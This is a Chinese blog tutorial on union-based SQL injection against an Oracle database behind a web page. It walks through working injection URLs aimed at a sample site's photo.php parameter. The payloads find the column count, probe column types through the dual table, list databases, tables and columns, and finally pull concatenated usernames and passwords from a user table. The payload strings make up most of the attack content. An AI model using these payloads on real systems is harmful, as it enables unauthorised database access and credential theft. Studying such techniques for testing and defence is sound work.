基于Oracle网站的SQL注入
参考链接1
参考链接2
| www.vuln-web.com/photo.php?id=1' order by 1-- |
| Working |
| www.vuln-web.com/photo.php?id=1' order by 10-- |
| |
| www.vuln-web.com/photo.php?id=1' order by 7-- |
| Working |
| www.vuln-web.com/photo.php?id=1' order by 9-- |
| Working |
-
可以得知第9列是最后一列
-
oracle不允许没有 from 子句的 select 语句,有时候我们确实不知道当前的数据库表是哪个的话,ORACLE提供了一个虚表dual,换句话说:在不知道当前的数据库表的情况下使用select查询语句时,可以使用虚表dual。

-
在真实的注入环境中一般是无法知道后台的数据库表的数据类型的,这时候就可以使用null关键字挨个判断每个数据是字符还是数字类型。

| www.vuln-web.com/photo.php?id=1' union select null,null,null,null,null,null,null,null,null from dual-- |
| Working fine |
- 然后把每个null替换成数字型或字符型进行测试

- 使用是字符型的那一列,获取我们可以使用的数据库名称
| www.vuln-web.com/photo.php?id=1' union select null,ora.database_name,null,null,null,null,null,null,null from dual-- |
(从 dual 中选择 ora_database_name)
(从 dual 中选择 sys.database_name)
(从global_name 中选择 global_name )
- 获取我们可以使用的表名: all_tables 中选择 table_name
| www.vuln-web.com/photo.php?id=1' union select null,table_name,null,null,null,null,null,null,null from all_tables-- |
- 获取我们可以使用的特定表的列(在示例中我使用 user_table):从 all_tab_columns 中选择 column_name 其中 table_name='Your_Table_name_here'
- 注意表名需要区分大小写
| |
| www.vuln-web.com/photo.php?id=1' union select null,column_name,null,null,null,null,null,null,null from all_tab_columns where table_name='user_table'-- |
- 从某些列中提取数据,我们可以使用以下查询和 || 作为连接运算符: 从 table_name_here 中选择用户名||密码
- 但是得到的结果是用户名与密码连在一起的,建议还是分开查询
| |
| www.vuln-web.com/photo.php?id=1' union select null,username||password,null,null,null,null,null,null,null from user_table-- |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!